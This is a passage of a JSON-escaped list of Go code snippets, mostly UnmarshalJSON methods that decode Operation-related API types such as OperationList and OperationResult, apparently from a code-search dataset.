&o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"origin\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Origin\\\", &o.Origin)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"origin\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Origin\\\", &o.Origin)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"origin\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Origin\\\", &o.Origin)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"properties\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Properties\\\", &o.Properties)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"origin\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Origin\\\", &o.Origin)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"properties\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Properties\\\", &o.Properties)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (j *CreateNhAssetOperation) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *WorkerCreateOperation) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *ProposalUpdateOperation) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *bulkUpdateRequestCommandOp) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson1ed00e60DecodeGithubComOlivereElasticV7(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (o *OperationResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"endTime\\\":\\n\\t\\t\\terr = unpopulateTimeRFC3339(val, &o.EndTime)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"startTime\\\":\\n\\t\\t\\terr = unpopulateTimeRFC3339(val, &o.StartTime)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (v *BaseOp) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson25363b2dDecodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi125(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (o *OperationEntity) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"isDataAction\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"IsDataAction\\\", &o.IsDataAction)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"origin\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Origin\\\", &o.Origin)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationsDefinition) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"actionType\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"ActionType\\\", &o.ActionType)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"isDataAction\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"IsDataAction\\\", &o.IsDataAction)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"origin\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Origin\\\", &o.Origin)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"properties\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Properties\\\", &o.Properties)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (x *StationOperations) UnmarshalJSON(b []byte) error {\\n\\tnum, err := protoimpl.X.UnmarshalJSONEnum(x.Descriptor(), b)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*x = StationOperations(num)\\n\\treturn nil\\n}\",\n \"func (o *OperationEntity) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"origin\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Origin\\\", &o.Origin)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"properties\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Properties\\\", &o.Properties)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationInputs) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"type\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Type\\\", &o.Type)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (od *OperationDetail) UnmarshalJSON(body []byte) error {\\n\\tvar m map[string]*json.RawMessage\\n\\terr := json.Unmarshal(body, &m)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfor k, v := range m {\\n\\t\\tswitch k {\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\tif v != nil {\\n\\t\\t\\t\\tvar name string\\n\\t\\t\\t\\terr = json.Unmarshal(*v, &name)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tod.Name = &name\\n\\t\\t\\t}\\n\\t\\tcase \\\"isDataAction\\\":\\n\\t\\t\\tif v != nil {\\n\\t\\t\\t\\tvar isDataAction bool\\n\\t\\t\\t\\terr = json.Unmarshal(*v, &isDataAction)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tod.IsDataAction = &isDataAction\\n\\t\\t\\t}\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\tif v != nil {\\n\\t\\t\\t\\tvar display OperationDisplay\\n\\t\\t\\t\\terr = json.Unmarshal(*v, &display)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tod.Display = &display\\n\\t\\t\\t}\\n\\t\\tcase \\\"origin\\\":\\n\\t\\t\\tif v != nil {\\n\\t\\t\\t\\tvar origin string\\n\\t\\t\\t\\terr = json.Unmarshal(*v, &origin)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tod.Origin = &origin\\n\\t\\t\\t}\\n\\t\\tcase \\\"properties\\\":\\n\\t\\t\\tif v != nil {\\n\\t\\t\\t\\tvar operationProperties OperationProperties\\n\\t\\t\\t\\terr = json.Unmarshal(*v, &operationProperties)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tod.OperationProperties = &operationProperties\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (o *OperationList) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationList) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationInputs) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (op *OpFlatten) UnmarshalJSON(raw []byte) error {\\n\\treturn json.Unmarshal(raw, &op.Field)\\n}\",\n \"func (f *FeatureOperationsListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", f, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &f.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &f.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", f, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func DecodeOperation(payload []byte) (*Operation, error) {\\n\\top := &Operation{}\\n\\tif err := json.Unmarshal(payload, op); err != nil {\\n\\t\\treturn nil, err\\n\\t} else {\\n\\t\\treturn op, nil\\n\\t}\\n}\",\n \"func (m *OperationResult) UnmarshalJSON(raw []byte) error {\\n\\tvar data struct {\\n\\t\\tCreatedDateTime strfmt.DateTime `json:\\\"createdDateTime,omitempty\\\"`\\n\\n\\t\\tLastActionDateTime strfmt.DateTime `json:\\\"lastActionDateTime,omitempty\\\"`\\n\\n\\t\\tMessage string `json:\\\"message,omitempty\\\"`\\n\\n\\t\\tOperationProcessingResult json.RawMessage `json:\\\"operationProcessingResult,omitempty\\\"`\\n\\n\\t\\tOperationType string `json:\\\"operationType,omitempty\\\"`\\n\\n\\t\\tStatus string `json:\\\"status,omitempty\\\"`\\n\\t}\\n\\n\\tbuf := bytes.NewBuffer(raw)\\n\\tdec := json.NewDecoder(buf)\\n\\tdec.UseNumber()\\n\\n\\tif err := dec.Decode(&data); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\toperationProcessingResult, err := UnmarshalOperationProcessingResult(bytes.NewBuffer(data.OperationProcessingResult), runtime.JSONConsumer())\\n\\tif err != nil && err != io.EOF {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar result OperationResult\\n\\tresult.CreatedDateTime = data.CreatedDateTime\\n\\tresult.LastActionDateTime = data.LastActionDateTime\\n\\tresult.Message = data.Message\\n\\tresult.OperationProcessingResult = operationProcessingResult\\n\\tresult.OperationType = data.OperationType\\n\\tresult.Status = data.Status\\n\\t*m = result\\n\\treturn nil\\n}\",\n \"func (op *OpRemove) UnmarshalJSON(raw []byte) error {\\n\\treturn json.Unmarshal(raw, &op.Field)\\n}\",\n \"func (op *OpAdd) UnmarshalJSON(raw []byte) error {\\n\\tvar addRaw opAddRaw\\n\\terr := json.Unmarshal(raw, &addRaw)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"decode OpAdd: %s\\\", err)\\n\\t}\\n\\n\\treturn op.unmarshalFromOpAddRaw(addRaw)\\n}\",\n \"func (ov *OperationValue) UnmarshalJSON(body []byte) error {\\n\\tvar m map[string]*json.RawMessage\\n\\terr := json.Unmarshal(body, &m)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfor k, v := range m {\\n\\t\\tswitch k {\\n\\t\\tcase \\\"origin\\\":\\n\\t\\t\\tif v != nil {\\n\\t\\t\\t\\tvar origin string\\n\\t\\t\\t\\terr = json.Unmarshal(*v, &origin)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tov.Origin = &origin\\n\\t\\t\\t}\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\tif v != nil {\\n\\t\\t\\t\\tvar name string\\n\\t\\t\\t\\terr = json.Unmarshal(*v, &name)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tov.Name = &name\\n\\t\\t\\t}\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\tif v != nil {\\n\\t\\t\\t\\tvar operationValueDisplay OperationValueDisplay\\n\\t\\t\\t\\terr = json.Unmarshal(*v, &operationValueDisplay)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tov.OperationValueDisplay = &operationValueDisplay\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (o *OperationsContent) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"id\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"ID\\\", &o.ID)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"properties\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Properties\\\", &o.Properties)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"systemData\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"SystemData\\\", &o.SystemData)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"type\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Type\\\", &o.Type)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (j *CommitteeMemberUpdateGlobalParametersOperation) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := 